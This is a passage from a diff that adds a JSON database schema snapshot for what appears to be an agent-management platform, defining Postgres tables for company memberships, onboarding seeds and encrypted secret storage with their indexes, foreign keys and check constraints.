"now()" + } + }, + "indexes": { + "company_logos_company_uq": { + "name": "company_logos_company_uq", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "with": {}, + "method": "btree", + "concurrently": false + }, + "company_logos_asset_uq": { + "name": "company_logos_asset_uq", + "columns": [ + { + "expression": "asset_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "with": {}, + "method": "btree", + "concurrently": false + } + }, + "foreignKeys": { + "company_logos_company_id_companies_id_fk": { + "name": "company_logos_company_id_companies_id_fk", + "tableFrom": "company_logos", + "columnsFrom": [ + "company_id" + ], + "tableTo": "companies", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "cascade" + }, + "company_logos_asset_id_assets_id_fk": { + "name": "company_logos_asset_id_assets_id_fk", + "tableFrom": "company_logos", + "columnsFrom": [ + "asset_id" + ], + "tableTo": "assets", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "cascade" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.company_memberships": { + "name": "company_memberships", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "uuid", + "primaryKey": true, + "notNull": true, + "default": "gen_random_uuid()" + }, + "company_id": { + "name": "company_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "principal_type": { + "name": "principal_type", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "principal_id": { + "name": "principal_id", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "status": { + "name": "status", + "type": "text", + "primaryKey": false, + "notNull": true, + "default": "'active'" + }, + "membership_role": { + "name": "membership_role", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "created_at": { + "name": "created_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "updated_at": { + "name": "updated_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "company_memberships_company_principal_unique_idx": { + "name": "company_memberships_company_principal_unique_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "principal_type", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "principal_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "with": {}, + "method": "btree", + "concurrently": false + }, + "company_memberships_principal_status_idx": { + "name": "company_memberships_principal_status_idx", + "columns": [ + { + "expression": "principal_type", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "principal_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "status", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "company_memberships_company_status_idx": { + "name": "company_memberships_company_status_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "status", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + } + }, + "foreignKeys": { + "company_memberships_company_id_companies_id_fk": { + "name": "company_memberships_company_id_companies_id_fk", + "tableFrom": "company_memberships", + "columnsFrom": [ + "company_id" + ], + "tableTo": "companies", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.company_onboarding_seeds": { + "name": "company_onboarding_seeds", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "uuid", + "primaryKey": true, + "notNull": true, + "default": "gen_random_uuid()" + }, + "company_id": { + "name": "company_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "revision": { + "name": "revision", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "mission": { + "name": "mission", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "agent_name": { + "name": "agent_name", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "agent_role": { + "name": "agent_role", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "first_task_title": { + "name": "first_task_title", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "first_task_details": { + "name": "first_task_details", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "goal_id": { + "name": "goal_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "agent_id": { + "name": "agent_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "issue_id": { + "name": "issue_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "applied_at": { + "name": "applied_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "created_at": { + "name": "created_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "updated_at": { + "name": "updated_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "company_onboarding_seeds_company_uq": { + "name": "company_onboarding_seeds_company_uq", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "with": {}, + "method": "btree", + "concurrently": false + } + }, + "foreignKeys": { + "company_onboarding_seeds_company_id_companies_id_fk": { + "name": "company_onboarding_seeds_company_id_companies_id_fk", + "tableFrom": "company_onboarding_seeds", + "columnsFrom": [ + "company_id" + ], + "tableTo": "companies", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "cascade" + }, + "company_onboarding_seeds_goal_id_goals_id_fk": { + "name": "company_onboarding_seeds_goal_id_goals_id_fk", + "tableFrom": "company_onboarding_seeds", + "columnsFrom": [ + "goal_id" + ], + "tableTo": "goals", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "set null" + }, + "company_onboarding_seeds_agent_id_agents_id_fk": { + "name": "company_onboarding_seeds_agent_id_agents_id_fk", + "tableFrom": "company_onboarding_seeds", + "columnsFrom": [ + "agent_id" + ], + "tableTo": "agents", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "set null" + }, + "company_onboarding_seeds_issue_id_issues_id_fk": { + "name": "company_onboarding_seeds_issue_id_issues_id_fk", + "tableFrom": "company_onboarding_seeds", + "columnsFrom": [ + "issue_id" + ], + "tableTo": "issues", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "set null" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.company_secret_bindings": { + "name": "company_secret_bindings", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "uuid", + "primaryKey": true, + "notNull": true, + "default": "gen_random_uuid()" + }, + "company_id": { + "name": "company_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "secret_id": { + "name": "secret_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "target_type": { + "name": "target_type", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "target_id": { + "name": "target_id", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "config_path": { + "name": "config_path", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "version_selector": { + "name": "version_selector", + "type": "text", + "primaryKey": false, + "notNull": true, + "default": "'latest'" + }, + "required": { + "name": "required", + "type": "boolean", + "primaryKey": false, + "notNull": true, + "default": true + }, + "label": { + "name": "label", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "projection_class": { + "name": "projection_class", + "type": "text", + "primaryKey": false, + "notNull": true, + "default": "'unclassified'" + }, + "projection_allowlist_key": { + "name": "projection_allowlist_key", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "created_at": { + "name": "created_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "updated_at": { + "name": "updated_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "company_secret_bindings_company_idx": { + "name": "company_secret_bindings_company_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "company_secret_bindings_secret_idx": { + "name": "company_secret_bindings_secret_idx", + "columns": [ + { + "expression": "secret_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "company_secret_bindings_target_idx": { + "name": "company_secret_bindings_target_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "target_type", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "target_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "company_secret_bindings_target_path_uq": { + "name": "company_secret_bindings_target_path_uq", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "target_type", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "target_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "config_path", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "with": {}, + "method": "btree", + "concurrently": false + } + }, + "foreignKeys": { + "company_secret_bindings_company_id_companies_id_fk": { + "name": "company_secret_bindings_company_id_companies_id_fk", + "tableFrom": "company_secret_bindings", + "columnsFrom": [ + "company_id" + ], + "tableTo": "companies", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "no action" + }, + "company_secret_bindings_secret_id_company_secrets_id_fk": { + "name": "company_secret_bindings_secret_id_company_secrets_id_fk", + "tableFrom": "company_secret_bindings", + "columnsFrom": [ + "secret_id" + ], + "tableTo": "company_secrets", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "cascade" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.company_secret_proposals": { + "name": "company_secret_proposals", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "uuid", + "primaryKey": true, + "notNull": true, + "default": "gen_random_uuid()" + }, + "company_id": { + "name": "company_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "kind": { + "name": "kind", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "status": { + "name": "status", + "type": "text", + "primaryKey": false, + "notNull": true, + "default": "'pending'" + }, + "proposed_name": { + "name": "proposed_name", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "proposed_key": { + "name": "proposed_key", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "proposed_description": { + "name": "proposed_description", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "justification": { + "name": "justification", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "value_ciphertext": { + "name": "value_ciphertext", + "type": "jsonb", + "primaryKey": false, + "notNull": false + }, + "value_fingerprint_sha256": { + "name": "value_fingerprint_sha256", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "value_length": { + "name": "value_length", + "type": "integer", + "primaryKey": false, + "notNull": false + }, + "secret_id": { + "name": "secret_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "secret_proposal_id": { + "name": "secret_proposal_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "target_type": { + "name": "target_type", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "target_id": { + "name": "target_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "config_path": { + "name": "config_path", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "projection_class": { + "name": "projection_class", + "type": "text", + "primaryKey": false, + "notNull": true, + "default": "'unclassified'" + }, + "binding_target_policy_snapshot": { + "name": "binding_target_policy_snapshot", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "proposer_ancestor_ids_snapshot": { + "name": "proposer_ancestor_ids_snapshot", + "type": "jsonb", + "primaryKey": false, + "notNull": false + }, + "target_ancestor_ids_snapshot": { + "name": "target_ancestor_ids_snapshot", + "type": "jsonb", + "primaryKey": false, + "notNull": false + }, + "proposed_by_agent_id": { + "name": "proposed_by_agent_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "origin_issue_id": { + "name": "origin_issue_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "origin_run_id": { + "name": "origin_run_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "interaction_id": { + "name": "interaction_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "resolved_by_user_id": { + "name": "resolved_by_user_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "resolved_at": { + "name": "resolved_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": false + }, + "resolution_reason": { + "name": "resolution_reason", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "created_secret_id": { + "name": "created_secret_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "applied_binding_config_path": { + "name": "applied_binding_config_path", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "ciphertext_scrubbed_at": { + "name": "ciphertext_scrubbed_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": false + }, + "expires_at": { + "name": "expires_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true + }, + "created_at": { + "name": "created_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "updated_at": { + "name": "updated_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "company_secret_proposals_company_status_idx": { + "name": "company_secret_proposals_company_status_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "status", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "company_secret_proposals_proposer_status_idx": { + "name": "company_secret_proposals_proposer_status_idx", + "columns": [ + { + "expression": "proposed_by_agent_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "status", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "company_secret_proposals_expiry_idx": { + "name": "company_secret_proposals_expiry_idx", + "columns": [ + { + "expression": "status", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "expires_at", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "company_secret_proposals_secret_proposal_idx": { + "name": "company_secret_proposals_secret_proposal_idx", + "columns": [ + { + "expression": "secret_proposal_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "company_secret_proposals_interaction_idx": { + "name": "company_secret_proposals_interaction_idx", + "columns": [ + { + "expression": "interaction_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + } + }, + "foreignKeys": { + "company_secret_proposals_company_id_companies_id_fk": { + "name": "company_secret_proposals_company_id_companies_id_fk", + "tableFrom": "company_secret_proposals", + "columnsFrom": [ + "company_id" + ], + "tableTo": "companies", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "no action" + }, + "company_secret_proposals_secret_id_company_secrets_id_fk": { + "name": "company_secret_proposals_secret_id_company_secrets_id_fk", + "tableFrom": "company_secret_proposals", + "columnsFrom": [ + "secret_id" + ], + "tableTo": "company_secrets", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "set null" + }, + "company_secret_proposals_secret_proposal_id_company_secret_proposals_id_fk": { + "name": "company_secret_proposals_secret_proposal_id_company_secret_proposals_id_fk", + "tableFrom": "company_secret_proposals", + "columnsFrom": [ + "secret_proposal_id" + ], + "tableTo": "company_secret_proposals", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "cascade" + }, + "company_secret_proposals_target_id_agents_id_fk": { + "name": "company_secret_proposals_target_id_agents_id_fk", + "tableFrom": "company_secret_proposals", + "columnsFrom": [ + "target_id" + ], + "tableTo": "agents", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "cascade" + }, + "company_secret_proposals_proposed_by_agent_id_agents_id_fk": { + "name": "company_secret_proposals_proposed_by_agent_id_agents_id_fk", + "tableFrom": "company_secret_proposals", + "columnsFrom": [ + "proposed_by_agent_id" + ], + "tableTo": "agents", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "cascade" + }, + "company_secret_proposals_origin_issue_id_issues_id_fk": { + "name": "company_secret_proposals_origin_issue_id_issues_id_fk", + "tableFrom": "company_secret_proposals", + "columnsFrom": [ + "origin_issue_id" + ], + "tableTo": "issues", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "set null" + }, + "company_secret_proposals_origin_run_id_heartbeat_runs_id_fk": { + "name": "company_secret_proposals_origin_run_id_heartbeat_runs_id_fk", + "tableFrom": "company_secret_proposals", + "columnsFrom": [ + "origin_run_id" + ], + "tableTo": "heartbeat_runs", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "cascade" + }, + "company_secret_proposals_interaction_id_issue_thread_interactions_id_fk": { + "name": "company_secret_proposals_interaction_id_issue_thread_interactions_id_fk", + "tableFrom": "company_secret_proposals", + "columnsFrom": [ + "interaction_id" + ], + "tableTo": "issue_thread_interactions", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "set null" + }, + "company_secret_proposals_created_secret_id_company_secrets_id_fk": { + "name": "company_secret_proposals_created_secret_id_company_secrets_id_fk", + "tableFrom": "company_secret_proposals", + "columnsFrom": [ + "created_secret_id" + ], + "tableTo": "company_secrets", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "set null" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": { + "company_secret_proposals_kind_check": { + "name": "company_secret_proposals_kind_check", + "value": "\"company_secret_proposals\".\"kind\" in ('secret', 'binding')" + }, + "company_secret_proposals_status_check": { + "name": "company_secret_proposals_status_check", + "value": "\"company_secret_proposals\".\"status\" in ('pending', 'approved', 'rejected', 'withdrawn', 'expired')" + }, + "company_secret_proposals_projection_check": { + "name": "company_secret_proposals_projection_check", + "value": "\"company_secret_proposals\".\"projection_class\" = 'unclassified'" + }, + "company_secret_proposals_shape_check": { + "name": "company_secret_proposals_shape_check", + "value": "(\n \"company_secret_proposals\".\"kind\" = 'secret'\n and \"company_secret_proposals\".\"proposed_name\" is not null\n and \"company_secret_proposals\".\"proposed_key\" is not null\n and \"company_secret_proposals\".\"secret_id\" is null\n and \"company_secret_proposals\".\"secret_proposal_id\" is null\n and \"company_secret_proposals\".\"target_type\" is null\n and \"company_secret_proposals\".\"target_id\" is null\n and \"company_secret_proposals\".\"config_path\" is null\n ) or (\n \"company_secret_proposals\".\"kind\" = 'binding'\n and ((\"company_secret_proposals\".\"secret_id\" is not null)::int + (\"company_secret_proposals\".\"secret_proposal_id\" is not null)::int) = 1\n and \"company_secret_proposals\".\"target_type\" = 'agent'\n and \"company_secret_proposals\".\"target_id\" is not null\n and \"company_secret_proposals\".\"config_path\" is not null\n )" + } + }, + "isRLSEnabled": false + }, + "public.company_secret_provider_configs": { + "name": "company_secret_provider_configs", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "uuid", + "primaryKey": true, + "notNull": true, + "default": "gen_random_uuid()" + }, + "company_id": { + "name": "company_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "provider": { + "name": "provider", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "display_name": { + "name": "display_name", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "status": { + "name": "status", + "type": "text", + "primaryKey": false, + "notNull": true, + "default": "'ready'" + }, + "is_default": { + "name": "is_default", + "type": "boolean", + "primaryKey": false, + "notNull": true, + "default": false + }, + "config": { + "name": "config", + "type": "jsonb", + "primaryKey": false, + "notNull": true, + "default": "'{}'::jsonb" + }, + "health_status": { + "name": "health_status", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "health_checked_at": { + "name": "health_checked_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": false + }, + "health_message": { + "name": "health_message", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "health_details": { + "name": "health_details", + "type": "jsonb", + "primaryKey": false, + "notNull": false + }, + "disabled_at": { + "name": "disabled_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": false + }, + "created_by_agent_id": { + "name": "created_by_agent_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "created_by_user_id": { + "name": "created_by_user_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "created_at": { + "name": "created_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "updated_at": { + "name": "updated_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "company_secret_provider_configs_company_idx": { + "name": "company_secret_provider_configs_company_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "company_secret_provider_configs_company_provider_idx": { + "name": "company_secret_provider_configs_company_provider_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "provider", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "company_secret_provider_configs_default_uq": { + "name": "company_secret_provider_configs_default_uq", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "provider", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "with": {}, + "method": "btree", + "where": "\"company_secret_provider_configs\".\"is_default\" = true", + "concurrently": false + } + }, + "foreignKeys": { + "company_secret_provider_configs_company_id_companies_id_fk": { + "name": "company_secret_provider_configs_company_id_companies_id_fk", + "tableFrom": "company_secret_provider_configs", + "columnsFrom": [ + "company_id" + ], + "tableTo": "companies", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "cascade" + }, + "company_secret_provider_configs_created_by_agent_id_agents_id_fk": { + "name": "company_secret_provider_configs_created_by_agent_id_agents_id_fk", + "tableFrom": "company_secret_provider_configs", + "columnsFrom": [ + "created_by_agent_id" + ], + "tableTo": "agents", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "set null" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.company_secret_versions": { + "name": "company_secret_versions", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "uuid", + "primaryKey": true, + "notNull": true, + "default": "gen_random_uuid()" + }, + "secret_id": { + "name": "secret_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "version": { + "name": "version", + "type": "integer", + "primaryKey": false, + "notNull": true + }, + "material": { + "name": "material", + "type": "jsonb", + "primaryKey": false, + "notNull": true + }, + "value_sha256": { + "name": "value_sha256", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "provider_version_ref": { + "name": "provider_version_ref", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "status": { + "name": "status", + "type": "text", + "primaryKey": false, + "notNull": true, + "default": "'current'" + }, + "fingerprint_sha256": { + "name": "fingerprint_sha256", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "rotation_job_id": { + "name": "rotation_job_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "created_by_agent_id": { + "name": "created_by_agent_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "created_by_user_id": { + "name": "created_by_user_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "created_at": { + "name": "created_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "revoked_at": { + "name": "revoked_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": false + } + }, + "indexes": { + "company_secret_versions_secret_idx": { + "name": "company_secret_versions_secret_idx", + "columns": [ + { + "expression": "secret_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "created_at", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "company_secret_versions_value_sha256_idx": { + "name": "company_secret_versions_value_sha256_idx", + "columns": [ + { + "expression": "value_sha256", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "company_secret_versions_fingerprint_idx": { + "name": "company_secret_versions_fingerprint_idx", + "columns": [ + { + "expression": "fingerprint_sha256", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "company_secret_versions_secret_version_uq": { + "name": "company_secret_versions_secret_version_uq", + "columns": [ + { + "expression": "secret_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "version", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "with": {}, + "method": "btree", + "concurrently": false + } + }, + "foreignKeys": { + "company_secret_versions_secret_id_company_secrets_id_fk": { + "name": "company_secret_versions_secret_id_company_secrets_id_fk", + "tableFrom": "company_secret_versions", + "columnsFrom": [ + "secret_id" + ], + "tableTo": "company_secrets", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "cascade" + }, + "company_secret_versions_created_by_agent_id_agents_id_fk": { + "name": "company_secret_versions_created_by_agent_id_agents_id_fk", + "tableFrom": "company_secret_versions", + "columnsFrom": [ + "created_by_agent_id" + ], + "tableTo": "agents", + "columnsTo": [ + "id" + ], + "onUpdate": "no action", + "onDelete": "set null" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.company_secrets": { + "name": "company_secrets", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "uuid", + "primaryKey": true, + "notNull": true, + "default": "gen_random_uuid()" + }, + "company_id": { + "name": "company_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "scope": { + "name": "scope", + "type": "text", + "primaryKey": false, + "notNull": true, + "default": "'company'" + }, + "owner_user_id": { + "name": "owner_user_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "user_secret_definition_id": { + "name": "user_secret_definition_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "key": { + "name": "key", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "name": { + "name": "name", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "provider": { + "name": "provider", + "type": "text", + "primaryKey": false, + "notNull": true, + "default": "'local_encrypted'" + }, + "status": { + "name": "status", + "type": "text", + "primaryKey": false, + "notNull": true, + "default": "'active'" + }, + "managed_mode": { + "name": "managed_mode", + "type": "text", + "primaryKey": false, + "notNull": true, + "default": "'paperclip_managed'" + }, + "external_ref": { + "name": "external_ref", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "provider_config_id": { + "name": "provider_config_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "provider_metadata": { + "name": "provider_metadata", + "type": "jsonb", + "primaryKey": false, + "notNull": false + }, + "latest_version": { + "name": "latest_version", + "type": "integer", + "primaryKey": false, + "notNull": true, + "default": 1 + }, + "description": { + "name": "description", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "last_resolved_at": { + "name": "last_resolved_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": false + }, + "last_rotated_at": { + "name": "last_rotated_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": false + }, + "deleted_at": { + "name": "deleted_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": false + }, + "created_by_agent_id": { + "name": "created_by_agent_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "created_by_user_id": { + "name": "created_by_user_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "created_at": { + "name": "created_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "updated_at": { + "name": "updated_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "company_secrets_company_idx": { + "name": "company_secrets_company_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "company_secrets_company_scope_idx": { + "name": "company_secrets_company_scope_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "scope", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "company_secrets_company_owner_idx": { + "name": "company_secrets_company_owner_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "owner_user_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "with": {}, + "method": "btree", + "concurrently": false + }, + "company_secrets_user_definition_owner_idx": { + "name": "company_secrets_user_definition_owner_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": 